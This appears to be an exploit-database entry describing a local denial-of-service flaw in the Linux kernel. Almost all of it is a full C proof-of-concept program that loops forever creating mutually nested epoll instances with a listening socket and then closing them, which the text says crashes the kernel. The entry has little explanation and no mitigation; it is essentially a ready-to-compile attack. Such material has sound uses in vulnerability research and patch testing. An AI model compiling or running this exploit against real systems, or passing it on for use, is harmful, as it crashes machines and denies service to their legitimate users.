Linux Kernel Local Denial Of Service

`The Linux Kernel is prone to a local denial-of-service vulnerability.  
  
Successful exploits will allow attackers to cause the kernel to crash, denying service to legitimate users.  
  
#include <netinet/in.h>  
#include <sys/epoll.h>  
#include <errno.h>  
  
int  
main ()  
{  
struct sockaddr_in addr;  
struct epoll_event event;  
int epfd1, epfd2, sock;  
int rc;  
int i = 0;  
while (1)  
{  
printf("ITERATION %d\n", ++i);  
epfd1 = epoll_create(1);  
printf("epoll_create() -> %d(%d)\n", epfd1, errno);  
epfd2 = epoll_create(1);  
printf("epoll_create() -> %d(%d)\n", epfd2, errno);  
  
sock = socket(PF_INET, SOCK_STREAM, 0);  
printf("socket() -> %d(%d)\n", sock, errno);  
  
addr.sin_family = AF_INET;  
addr.sin_port = 0;  
addr.sin_addr.s_addr = 0;  
rc = bind(sock, (struct sockaddr*)&addr, sizeof(addr));  
printf("bind() -> %d(%d)\n", rc, errno);  
  
rc = listen(sock, 1);  
printf("listen() -> %d(%d)\n", rc, errno);  
  
event.data.fd = sock;  
event.events = 0;  
rc = epoll_ctl(epfd1, EPOLL_CTL_ADD, sock, &event);  
printf("epoll_ctl() -> %d(%d)\n", rc, errno);  
  
event.data.fd = epfd2;  
event.events = EPOLLIN;  
rc = epoll_ctl(epfd1, EPOLL_CTL_ADD, epfd2, &event);  
printf("epoll_ctl() -> %d(%d)\n", rc, errno);  
  
event.data.fd = epfd1;  
event.events = EPOLLIN;  
rc = epoll_ctl(epfd2, EPOLL_CTL_ADD, epfd1, &event);  
printf("epoll_ctl() -> %d(%d)\n", rc, errno);  
  
rc = close(epfd1);  
printf("close(epfd1) -> %d(%d)\n", rc, errno);  
  
rc = close(epfd2);  
printf("close(epfd2) -> %d(%d)\n", rc, errno);  
  
rc = close(sock);  
printf("close(sock) -> %d(%d)\n", rc, errno);  
  
sleep(1);  
printf("\n\n");  
}  
return 0;  
}  
  
`